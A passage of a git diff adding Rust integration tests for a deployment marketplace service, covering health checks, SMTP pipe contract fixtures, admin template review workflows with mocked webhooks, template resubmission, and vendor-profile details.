+    let client = reqwest::Client::new();
 
     let response = client
-        .get(&format!("{}/health_check", &app.address))
+        .get(format!("{}/health_check", &app.address))
         .send()
         .await
         .expect("Failed to execute request.");
 
-    assert!(response.status().is_success());
-    assert_eq!(Some(0), response.content_length());
+    // 200 = Healthy or Degraded (optional services down, but core DB works)
+    // 503 = Unhealthy (core database is unreachable)
+    // In CI only postgres is available; external services (AMQP, Vault, DockerHub,
+    // user_service, install_service) will be Degraded → overall Degraded → 200.
+    assert!(
+        response.status().is_success(),
+        "health_check should return 200, got {}",
+        response.status()
+    );
 }
diff --git a/tests/local_pipe_contract.rs b/tests/local_pipe_contract.rs
new file mode 100644
index 00000000..28dbb9df
--- /dev/null
+++ b/tests/local_pipe_contract.rs
@@ -0,0 +1,117 @@
+use std::fs;
+use std::path::PathBuf;
+
+use serde_json::{json, Value};
+use stacker::cli::local_pipe_store::LocalPipeDocument;
+
+fn contract_path(filename: &str) -> PathBuf {
+    let shared = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
+        .join("../config/shared-fixtures/pipe-contract")
+        .join(filename);
+    if shared.exists() {
+        return shared;
+    }
+
+    PathBuf::from(env!("CARGO_MANIFEST_DIR"))
+        .join("tests/contracts/pipe-contract")
+        .join(filename)
+}
+
+fn load_contract(filename: &str) -> Value {
+    let path = contract_path(filename);
+    let content = fs::read_to_string(&path)
+        .unwrap_or_else(|err| panic!("failed to read contract {}: {}", path.display(), err));
+    serde_json::from_str(&content)
+        .unwrap_or_else(|err| panic!("failed to parse contract {}: {}", path.display(), err))
+}
+
+#[test]
+fn local_pipe_fixture_round_trips_and_stays_adapter_only() {
+    let fixture = load_contract("local_pipe.smtp_adapter.v1.json");
+    let pipe: LocalPipeDocument =
+        serde_json::from_value(fixture.clone()).expect("fixture should deserialize");
+
+    pipe.validate().expect("fixture should validate");
+    assert_eq!(pipe.target.selector, "smtp");
+    assert!(pipe.instance.target_adapter.is_some());
+    assert!(pipe.instance.target_container.is_none());
+    assert!(pipe.instance.target_url.is_none());
+    assert_eq!(
+        pipe.instance
+            .target_adapter
+            .as_ref()
+            .and_then(|adapter| adapter.config.as_ref())
+            .and_then(|config| config.get("host"))
+            .and_then(|value| value.as_str()),
+        Some("smtp")
+    );
+}
+
+#[test]
+fn local_pipe_secret_ref_fixture_validates_without_plaintext_secrets() {
+    let fixture = load_contract("local_pipe.smtp_adapter.secret_ref.v1.json");
+    let pipe: LocalPipeDocument =
+        serde_json::from_value(fixture).expect("secret-ref fixture should deserialize");
+
+    pipe.validate()
+        .expect("secret-ref fixture should validate without plaintext secrets");
+    let password = pipe
+        .instance
+        .target_adapter
+        .as_ref()
+        .and_then(|adapter| adapter.config.as_ref())
+        .and_then(|config| config.get("password"))
+        .expect("password config should exist");
+    assert_eq!(
+        password["secret_ref"]["name"].as_str(),
+        Some("SMTP_PASSWORD")
+    );
+}
+
+#[test]
+fn promotion_request_fixture_matches_local_pipe_projection() {
+    let pipe_fixture = load_contract("local_pipe.smtp_adapter.v1.json");
+    let expected = load_contract("remote_pipe.promote.smtp_adapter.request.json");
+    let pipe: LocalPipeDocument =
+        serde_json::from_value(pipe_fixture).expect("promotion source should deserialize");
+
+    let actual = json!({
+        "template_request": pipe.to_template_request(),
+        "instance_request": pipe.to_instance_request(
+            "dep-20260522".to_string(),
+            "tpl-remote-smtp".to_string()
+        )
+    });
+
+    assert_eq!(actual, expected);
+    assert!(actual["instance_request"].get("target_container").is_none());
+    assert!(actual["instance_request"].get("target_url").is_none());
+}
+
+#[test]
+fn plaintext_secret_fixture_stays_rejected() {
+    let fixture = load_contract("remote_pipe.secret_ref.rejected_plaintext.json");
+    let expected = fixture["expected_error_contains"]
+        .as_str()
+        .expect("negative fixture must declare expected error");
+    let pipe: LocalPipeDocument =
+        serde_json::from_value(fixture["pipe"].clone()).expect("negative pipe should deserialize");
+
+    let err = pipe
+        .validate()
+        .expect_err("plaintext secret fixture must fail");
+    assert!(err.to_string().contains(expected));
+}
+
+#[test]
+fn smtp_trigger_report_fixture_has_expected_delivery_shape() {
+    let report = load_contract("remote_pipe.trigger.smtp_adapter.report.json");
+
+    assert_eq!(report["type"].as_str(), Some("trigger_pipe"));
+    assert_eq!(report["target_response"]["adapter"].as_str(), Some("smtp"));
+    assert_eq!(report["target_response"]["delivered"].as_bool(), Some(true));
+    assert_eq!(
+        report["target_response"]["body"]["accepted_recipients"].as_i64(),
+        Some(1)
+    );
+}
diff --git a/tests/marketplace_admin_review.rs b/tests/marketplace_admin_review.rs
new file mode 100644
index 00000000..98fdd534
--- /dev/null
+++ b/tests/marketplace_admin_review.rs
@@ -0,0 +1,794 @@
+#![allow(clippy::await_holding_lock)]
+
+mod common;
+
+use chrono::{Duration, Utc};
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+use std::sync::{Mutex, OnceLock};
+use wiremock::matchers::{method, path};
+use wiremock::{Mock, MockServer, Request, ResponseTemplate};
+
+fn create_admin_jwt() -> String {
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+
+    let header = json!({"alg": "HS256", "typ": "JWT"});
+    let payload = json!({
+        "role": "admin_service",
+        "email": "ops@test.com",
+        "exp": (Utc::now() + Duration::minutes(30)).timestamp(),
+    });
+
+    let header_b64 = URL_SAFE_NO_PAD.encode(header.to_string());
+    let payload_b64 = URL_SAFE_NO_PAD.encode(payload.to_string());
+
+    format!("{}.{}.{}", header_b64, payload_b64, "test_signature")
+}
+
+async fn insert_template(
+    pool: &sqlx::PgPool,
+    creator_user_id: &str,
+    slug: &str,
+    status: &str,
+) -> String {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            creator_name,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack
+        )
+        VALUES ($1, 'Creator Example', 'Review Template', $2, $3, '[]'::jsonb, '{}'::jsonb)
+        RETURNING id"#,
+    )
+    .bind(creator_user_id)
+    .bind(slug)
+    .bind(status)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert template")
+    .get::<uuid::Uuid, _>("id")
+    .to_string()
+}
+
+struct EnvGuard {
+    key: &'static str,
+    previous: Option<String>,
+}
+
+impl EnvGuard {
+    fn set(key: &'static str, value: &str) -> Self {
+        let previous = std::env::var(key).ok();
+        std::env::set_var(key, value);
+        Self { key, previous }
+    }
+}
+
+impl Drop for EnvGuard {
+    fn drop(&mut self) {
+        if let Some(previous) = &self.previous {
+            std::env::set_var(self.key, previous);
+        } else {
+            std::env::remove_var(self.key);
+        }
+    }
+}
+
+fn env_lock() -> &'static Mutex<()> {
+    static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
+    LOCK.get_or_init(|| Mutex::new(()))
+}
+
+fn find_marketplace_sync_payload(requests: &[Request], expected_action: &str) -> Option<Value> {
+    requests.iter().find_map(|request| {
+        if request.url.path() != "/marketplace/sync" {
+            return None;
+        }
+
+        let payload: Value = serde_json::from_slice(&request.body).ok()?;
+        (payload["action"] == expected_action).then_some(payload)
+    })
+}
+
+#[tokio::test]
+async fn admin_can_mark_template_needs_changes_and_creator_can_see_reason() {
+    // Hold env_lock to prevent concurrent webhook-triggering tests from cross-contaminating
+    // each other's mock servers via shared env vars (URL_SERVER_USER etc.)
+    let _env_lock = env_lock().lock().unwrap_or_else(|e| e.into_inner());
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "needs-changes-review-template",
+        "submitted",
+    )
+    .await;
+
+    let admin_response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/admin/templates/{}/needs-changes",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "reason": "Please document the required Hetzner bare metal prerequisites."
+        }))
+        .send()
+        .await
+        .expect("Failed to send admin needs-changes request");
+
+    assert_eq!(StatusCode::OK, admin_response.status());
+
+    let template_status =
+        sqlx::query_scalar::<_, String>(r#"SELECT status FROM stack_template WHERE id = $1::uuid"#)
+            .bind(uuid::Uuid::parse_str(&template_id).expect("template id should be a uuid"))
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch updated template status");
+
+    assert_eq!("needs_changes", template_status);
+
+    let reviews_response = reqwest::Client::new()
+        .get(format!(
+            "{}/api/templates/{}/reviews",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("Failed to fetch creator reviews");
+
+    assert_eq!(StatusCode::OK, reviews_response.status());
+
+    let body: Value = reviews_response
+        .json()
+        .await
+        .expect("reviews response should be valid JSON");
+    let latest_review = &body["list"][0];
+
+    assert_eq!("needs_changes", latest_review["decision"]);
+    assert_eq!(
+        "Please document the required Hetzner bare metal prerequisites.",
+        latest_review["review_reason"]
+    );
+}
+
+#[tokio::test]
+async fn admin_cannot_mark_approved_template_as_needs_changes() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "approved-template-needs-changes-blocked",
+        "approved",
+    )
+    .await;
+
+    let admin_response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/admin/templates/{}/needs-changes",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "reason": "Please update the deployment guide."
+        }))
+        .send()
+        .await
+        .expect("Failed to send admin needs-changes request");
+
+    assert_eq!(StatusCode::BAD_REQUEST, admin_response.status());
+
+    let template_status =
+        sqlx::query_scalar::<_, String>(r#"SELECT status FROM stack_template WHERE id = $1::uuid"#)
+            .bind(uuid::Uuid::parse_str(&template_id).expect("template id should be a uuid"))
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch template status");
+
+    assert_eq!("approved", template_status);
+}
+
+#[tokio::test]
+async fn admin_approval_sends_template_published_webhook() {
+    let _env_lock = env_lock().lock().unwrap_or_else(|e| e.into_inner());
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let mock_user_service = MockServer::start().await;
+    let _url_server_user = EnvGuard::set("URL_SERVER_USER", &mock_user_service.uri());
+    let _user_service_url = EnvGuard::set("USER_SERVICE_URL", &mock_user_service.uri());
+    let _user_service_base_url = EnvGuard::set("USER_SERVICE_BASE_URL", &mock_user_service.uri());
+    let _stacker_service_token = EnvGuard::set("STACKER_SERVICE_TOKEN", "stacker-test-token");
+
+    Mock::given(method("POST"))
+        .and(path("/marketplace/sync"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "success": true,
+            "message": "ok",
+            "product_id": null
+        })))
+        .mount(&mock_user_service)
+        .await;
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "published-webhook-template",
+        "submitted",
+    )
+    .await;
+
+    let admin_response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/admin/templates/{}/approve",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "decision": "approved",
+            "reason": "Looks good."
+        }))
+        .send()
+        .await
+        .expect("Failed to send admin approval request");
+
+    assert_eq!(StatusCode::OK, admin_response.status());
+
+    tokio::time::sleep(std::time::Duration::from_millis(200)).await;
+
+    let requests = mock_user_service
+        .received_requests()
+        .await
+        .expect("Should capture webhook request");
+    let payload = find_marketplace_sync_payload(&requests, "template_published")
+        .expect("Approval should send template_published marketplace webhook");
+
+    assert_eq!("template_published", payload["action"]);
+    assert_eq!(template_id, payload["stack_template_id"]);
+    assert_eq!("published-webhook-template", payload["code"]);
+}
+
+#[tokio::test]
+async fn admin_rejection_sends_template_review_rejected_webhook() {
+    let _env_lock = env_lock().lock().unwrap_or_else(|e| e.into_inner());
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let mock_user_service = MockServer::start().await;
+    let _url_server_user = EnvGuard::set("URL_SERVER_USER", &mock_user_service.uri());
+    let _user_service_url = EnvGuard::set("USER_SERVICE_URL", &mock_user_service.uri());
+    let _user_service_base_url = EnvGuard::set("USER_SERVICE_BASE_URL", &mock_user_service.uri());
+    let _stacker_service_token = EnvGuard::set("STACKER_SERVICE_TOKEN", "stacker-test-token");
+
+    Mock::given(method("POST"))
+        .and(path("/marketplace/sync"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "success": true,
+            "message": "ok",
+            "product_id": null
+        })))
+        .mount(&mock_user_service)
+        .await;
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "review-rejected-template",
+        "submitted",
+    )
+    .await;
+
+    let admin_response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/admin/templates/{}/reject",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "decision": "rejected",
+            "reason": "The submission does not meet marketplace quality standards yet."
+        }))
+        .send()
+        .await
+        .expect("Failed to send admin rejection request");
+
+    assert_eq!(StatusCode::OK, admin_response.status());
+
+    tokio::time::sleep(std::time::Duration::from_millis(200)).await;
+
+    let requests = mock_user_service
+        .received_requests()
+        .await
+        .expect("Should capture webhook request");
+    let payload = find_marketplace_sync_payload(&requests, "template_review_rejected")
+        .expect("Rejection should send template_review_rejected marketplace webhook");
+
+    assert_eq!("template_review_rejected", payload["action"]);
+    assert_eq!(template_id, payload["stack_template_id"]);
+    assert_eq!(
+        "The submission does not meet marketplace quality standards yet.",
+        payload["review_reason"]
+    );
+}
+
+#[tokio::test]
+async fn admin_unapprove_sends_template_unpublished_webhook() {
+    let _env_lock = env_lock().lock().unwrap_or_else(|e| e.into_inner());
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let mock_user_service = MockServer::start().await;
+    let _url_server_user = EnvGuard::set("URL_SERVER_USER", &mock_user_service.uri());
+    let _user_service_url = EnvGuard::set("USER_SERVICE_URL", &mock_user_service.uri());
+    let _user_service_base_url = EnvGuard::set("USER_SERVICE_BASE_URL", &mock_user_service.uri());
+    let _stacker_service_token = EnvGuard::set("STACKER_SERVICE_TOKEN", "stacker-test-token");
+
+    Mock::given(method("POST"))
+        .and(path("/marketplace/sync"))
+        .respond_with(ResponseTemplate::new(200).set_body_json(json!({
+            "success": true,
+            "message": "ok",
+            "product_id": null
+        })))
+        .mount(&mock_user_service)
+        .await;
+
+    let template_id = insert_template(
+        &app.db_pool,
+        common::USER_A_ID,
+        "unpublished-template",
+        "approved",
+    )
+    .await;
+
+    let admin_response = reqwest::Client::new()
+        .post(format!(
+            "{}/api/admin/templates/{}/unapprove",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .json(&json!({
+            "reason": "Temporarily hidden from the marketplace."
+        }))
+        .send()
+        .await
+        .expect("Failed to send admin unapprove request");
+
+    assert_eq!(StatusCode::OK, admin_response.status());
+
+    tokio::time::sleep(std::time::Duration::from_millis(200)).await;
+
+    let requests = mock_user_service
+        .received_requests()
+        .await
+        .expect("Should capture webhook request");
+    let payload = find_marketplace_sync_payload(&requests, "template_unpublished")
+        .expect("Unapprove should send template_unpublished marketplace webhook");
+
+    assert_eq!("template_unpublished", payload["action"]);
+    assert_eq!(template_id, payload["stack_template_id"]);
+}
+
+#[tokio::test]
+async fn admin_detail_lists_extended_version_contract_for_resubmitted_templates() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+
+    let create_response = client
+        .post(format!("{}/api/templates", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "name": "Admin Contract Mirror Template",
+            "slug": "admin-contract-mirror-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            },
+            "definition_format": "json",
+            "changelog": "Initial version",
+            "config_files": [
+                {
+                    "path": "/etc/app/config.yaml",
+                    "content": "managedUpdates: true",
+                    "encoding": "utf-8",
+                    "mode": "0644"
+                }
+            ],
+            "seed_jobs": [
+                {
+                    "name": "seed-v1",
+                    "command": "bin/seed-v1.sh",
+                    "timeout_seconds": 120
+                }
+            ],
+            "post_deploy_hooks": [
+                {
+                    "name": "warm-cache-v1",
+                    "command": "bin/warm-cache-v1.sh",
+                    "execution_scope": "container"
+                }
+            ],
+            "assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/admin-contract-mirror-template/versions/1.0.0/assets/abc12345/bundle-v1.tgz",
+                    "filename": "bundle-v1.tgz",
+                    "sha256": "abc12345",
+                    "size": 512,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ],
+            "update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": false,
+                "supports_rollback": true,
+                "requires_backup": false,
+                "backup_providers": []
+            }
+        }))
+        .send()
+        .await
+        .expect("Failed to create marketplace template");
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+
+    sqlx::query(
+        r#"UPDATE stack_template SET status = 'approved', approved_at = NOW() WHERE id = $1"#,
+    )
+    .bind(uuid::Uuid::parse_str(&template_id).expect("Template id should be a UUID"))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to approve template for resubmission");
+
+    let resubmit_response = client
+        .post(format!(
+            "{}/api/templates/{}/resubmit",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "name": "Admin Contract Mirror Template v2",
+            "short_description": "Updated short description",
+            "long_description": "Updated long description",
+            "category_code": "developer-tools",
+            "version": "1.1.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.28" },
+                    "worker": { "image": "alpine:3.20" }
+                }
+            },
+            "definition_format": "json",
+            "changelog": "Adds worker seed and managed status panel updates.",
+            "plan_type": "subscription",
+            "required_plan_name": "professional",
+            "price": 29.0,
+            "currency": "USD",
+            "config_files": [
+                {
+                    "path": "/etc/app/config.yaml",
+                    "content": "managedUpdates: true\nworker: enabled",
+                    "encoding": "utf-8",
+                    "mode": "0644"
+                }
+            ],
+            "seed_jobs": [
+                {
+                    "name": "seed-v2",
+                    "command": ["bin/seed-v2.sh", "--force"],
+                    "timeout_seconds": 240,
+                    "retry_limit": 1
+                }
+            ],
+            "post_deploy_hooks": [
+                {
+                    "name": "warm-cache-v2",
+                    "command": "bin/warm-cache-v2.sh",
+                    "execution_scope": "container",
+                    "timeout_seconds": 90
+                }
+            ],
+            "assets": [
+                {
+                    "storage_provider": "hetzner-object-storage",
+                    "bucket": "marketplace-assets-test",
+                    "key": "templates/admin-contract-mirror-template/versions/1.1.0/assets/def67890/bundle-v2.tgz",
+                    "filename": "bundle-v2.tgz",
+                    "sha256": "def67890",
+                    "size": 1024,
+                    "content_type": "application/gzip",
+                    "decompress": true
+                }
+            ],
+            "update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": true,
+                "supports_rollback": true,
+                "requires_backup": true,
+                "backup_providers": ["snapshot"]
+            },
+            "confirm_no_secrets": true
+        }))
+        .send()
+        .await
+        .expect("Failed to resubmit marketplace template");
+    assert_eq!(StatusCode::OK, resubmit_response.status());
+
+    let detail_response = client
+        .get(format!(
+            "{}/api/admin/templates/{}",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .send()
+        .await
+        .expect("Failed to fetch admin template detail");
+    assert_eq!(StatusCode::OK, detail_response.status());
+
+    let detail_body: Value = detail_response
+        .json()
+        .await
+        .expect("Admin detail response should be valid JSON");
+    assert_eq!(
+        json!("Admin Contract Mirror Template v2"),
+        detail_body["item"]["name"]
+    );
+    assert_eq!(
+        json!("Updated short description"),
+        detail_body["item"]["short_description"]
+    );
+    assert_eq!(
+        json!("Updated long description"),
+        detail_body["item"]["long_description"]
+    );
+    assert_eq!(
+        json!("developer-tools"),
+        detail_body["item"]["category_code"]
+    );
+    assert_eq!(json!(29.0), detail_body["item"]["price"]);
+    assert_eq!(json!("subscription"), detail_body["item"]["billing_cycle"]);
+    assert_eq!(
+        json!("professional"),
+        detail_body["item"]["required_plan_name"]
+    );
+    assert_eq!(json!("USD"), detail_body["item"]["currency"]);
+    let versions = detail_body["item"]["versions"]
+        .as_array()
+        .expect("Admin detail should include template versions");
+    assert_eq!(2, versions.len());
+
+    let latest_version = versions
+        .iter()
+        .find(|version| version["version"] == "1.1.0")
+        .expect("Expected to find the resubmitted version");
+    assert_eq!(
+        json!([
+            {
+                "path": "/etc/app/config.yaml",
+                "content": "managedUpdates: true\nworker: enabled",
+                "encoding": "utf-8",
+                "mode": "0644"
+            }
+        ]),
+        latest_version["config_files"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "name": "seed-v2",
+                "command": ["bin/seed-v2.sh", "--force"],
+                "timeout_seconds": 240,
+                "retry_limit": 1
+            }
+        ]),
+        latest_version["seed_jobs"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "name": "warm-cache-v2",
+                "command": "bin/warm-cache-v2.sh",
+                "execution_scope": "container",
+                "timeout_seconds": 90
+            }
+        ]),
+        latest_version["post_deploy_hooks"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "storage_provider": "hetzner-object-storage",
+                "bucket": "marketplace-assets-test",
+                "key": "templates/admin-contract-mirror-template/versions/1.1.0/assets/def67890/bundle-v2.tgz",
+                "filename": "bundle-v2.tgz",
+                "sha256": "def67890",
+                "size": 1024,
+                "content_type": "application/gzip",
+                "decompress": true
+            }
+        ]),
+        latest_version["assets"]
+    );
+    assert_eq!(
+        json!({
+            "mode_self_managed": true,
+            "mode_managed_status_panel": true,
+            "supports_rollback": true,
+            "requires_backup": true,
+            "backup_providers": ["snapshot"]
+        }),
+        latest_version["update_mode_capabilities"]
+    );
+    assert_eq!(
+        "Adds worker seed and managed status panel updates.",
+        latest_version["changelog"]
+    );
+
+    let initial_version = versions
+        .iter()
+        .find(|version| version["version"] == "1.0.0")
+        .expect("Expected to find the initial version");
+    assert_eq!(
+        json!([
+            {
+                "path": "/etc/app/config.yaml",
+                "content": "managedUpdates: true",
+                "encoding": "utf-8",
+                "mode": "0644"
+            }
+        ]),
+        initial_version["config_files"]
+    );
+    assert_eq!(
+        json!({
+            "mode_self_managed": true,
+            "mode_managed_status_panel": false,
+            "supports_rollback": true,
+            "requires_backup": false,
+            "backup_providers": []
+        }),
+        initial_version["update_mode_capabilities"]
+    );
+}
+
+#[tokio::test]
+async fn resubmit_same_version_updates_latest_version_in_place() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+
+    let create_response = client
+        .post(format!("{}/api/templates", app.address))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "name": "Same Version Resubmit Template",
+            "slug": "same-version-resubmit-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            },
+            "changelog": "Initial version"
+        }))
+        .send()
+        .await
+        .expect("Failed to create marketplace template");
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+    let template_uuid = uuid::Uuid::parse_str(&template_id).expect("Template id should be a UUID");
+
+    sqlx::query(
+        r#"UPDATE stack_template SET status = 'approved', approved_at = NOW() WHERE id = $1"#,
+    )
+    .bind(template_uuid)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to approve template for resubmission");
+
+    let resubmit_response = client
+        .post(format!(
+            "{}/api/templates/{}/resubmit",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .json(&json!({
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.28" },
+                    "worker": { "image": "alpine:3.20" }
+                }
+            },
+            "changelog": "Updated same version after review feedback",
+            "confirm_no_secrets": true
+        }))
+        .send()
+        .await
+        .expect("Failed to resubmit marketplace template");
+    assert_eq!(StatusCode::OK, resubmit_response.status());
+
+    let version_count: i64 =
+        sqlx::query_scalar(r#"SELECT COUNT(*) FROM stack_template_version WHERE template_id = $1"#)
+            .bind(template_uuid)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to count template versions");
+    assert_eq!(
+        1, version_count,
+        "Same-version resubmit should update in place"
+    );
+
+    let detail_response = client
+        .get(format!(
+            "{}/api/admin/templates/{}",
+            app.address, template_id
+        ))
+        .header("Authorization", format!("Bearer {}", create_admin_jwt()))
+        .send()
+        .await
+        .expect("Failed to fetch admin template detail");
+    assert_eq!(StatusCode::OK, detail_response.status());
+    let detail_body: Value = detail_response
+        .json()
+        .await
+        .expect("Admin detail response should be valid JSON");
+    let versions = detail_body["item"]["versions"]
+        .as_array()
+        .expect("Admin detail should include template versions");
+    assert_eq!(1, versions.len());
+    assert_eq!(
+        json!("Updated same version after review feedback"),
+        versions[0]["changelog"]
+    );
+    assert_eq!(
+        json!({
+            "services": {
+                "web": { "image": "nginx:1.28" },
+                "worker": { "image": "alpine:3.20" }
+            }
+        }),
+        versions[0]["stack_definition"]
+    );
+}
diff --git a/tests/marketplace_admin_vendor_profile.rs b/tests/marketplace_admin_vendor_profile.rs
new file mode 100644
index 00000000..5a76b8ee
--- /dev/null
+++ b/tests/marketplace_admin_vendor_profile.rs
@@ -0,0 +1,340 @@
+mod common;
+
+use chrono::{Duration, Utc};
+use reqwest::StatusCode;
+use serde_json::{json, Value};
+use sqlx::Row;
+
+fn create_admin_jwt() -> String {
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+
+    let header = json!({"alg": "HS256", "typ": "JWT"});
+    let payload = json!({
+        "role": "admin_service",
+        "email": "ops@test.com",
+        "exp": (Utc::now() + Duration::minutes(30)).timestamp(),
+    });
+
+    let header_b64 = URL_SAFE_NO_PAD.encode(header.to_string());
+    let payload_b64 = URL_SAFE_NO_PAD.encode(payload.to_string());
+
+    format!("{}.{}.{}", header_b64, payload_b64, "test_signature")
+}
+
+async fn insert_template(pool: &sqlx::PgPool, creator_user_id: &str, slug: &str) -> String {
+    sqlx::query(
+        r#"INSERT INTO stack_template (
+            creator_user_id,
+            creator_name,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack
+        )
+        VALUES ($1, 'Vendor Example', 'Vendor Template', $2, 'submitted', '[]'::jsonb, '{}'::jsonb)
+        RETURNING id"#,
+    )
+    .bind(creator_user_id)
+    .bind(slug)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to insert template")
+    .get::<uuid::Uuid, _>("id")
+    .to_string()
+}
+
+async fn fetch_template_detail(address: &str, template_id: &str, token: &str) -> reqwest::Response {
+    reqwest::Client::new()
+        .get(format!("{}/api/admin/templates/{}", address, template_id))
+        .header("Authorization", format!("Bearer {}", token))
+        .send()
+        .await
+        .expect("Failed to fetch template detail")
+}
+
+#[tokio::test]
+async fn admin_detail_returns_default_vendor_profile_when_missing() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-1",
+        "vendor-profile-default-template",
+    )
+    .await;
+
+    let token = create_admin_jwt();
+    let response = fetch_template_detail(&app.address, &template_id, &token).await;
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("detail response should be valid JSON");
+    let vendor_profile = &body["item"]["vendor_profile"];
+
+    assert_eq!("vendor-user-1", vendor_profile["creator_user_id"]);
+    assert_eq!("unverified", vendor_profile["verification_status"]);
+    assert_eq!("not_started", vendor_profile["onboarding_status"]);
+    assert_eq!(false, vendor_profile["payouts_enabled"]);
+    assert_eq!(Value::Null, vendor_profile["payout_provider"]);
+    assert_eq!(Value::Null, vendor_profile["payout_account_ref"]);
+    assert_eq!(json!({}), vendor_profile["metadata"]);
+    assert_eq!(Value::Null, vendor_profile["created_at"]);
+    assert_eq!(Value::Null, vendor_profile["updated_at"]);
+}
+
+#[tokio::test]
+async fn admin_detail_returns_vendor_profile_for_template_creator() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+
+    let template_id = insert_template(
+        &app.db_pool,
+        "vendor-user-2",
+        "vendor-profile-populated-template",
+    )
+    .await;
+
+    sqlx::query(
+        r#"INSERT INTO marketplace_vendor_profile (
+            creator_user_id,
+            verification_status,
+            onboarding_status,
+            payouts_enabled,
+            payout_provider,
+            payout_account_ref,
+            metadata
+        )
+        VALUES ($1, 'verified', 'completed', true, 'stripe_connect', 'acct_123', '{"country":"DE"}'::jsonb)"#,
+    )
+    .bind("vendor-user-2")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to insert vendor profile");
+
+    let token = create_admin_jwt();
+    let response = fetch_template_detail(&app.address, &template_id, &token).await;
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("detail response should be valid JSON");
+    let vendor_profile = &body["item"]["vendor_profile"];
+
+    assert_eq!("vendor-user-2", vendor_profile["creator_user_id"]);
+    assert_eq!("verified", vendor_profile["verification_status"]);
+    assert_eq!("completed", vendor_profile["onboarding_status"]);
+    assert_eq!(true, vendor_profile["payouts_enabled"]);
+    assert_eq!("stripe_connect", vendor_profile["payout_provider"]);
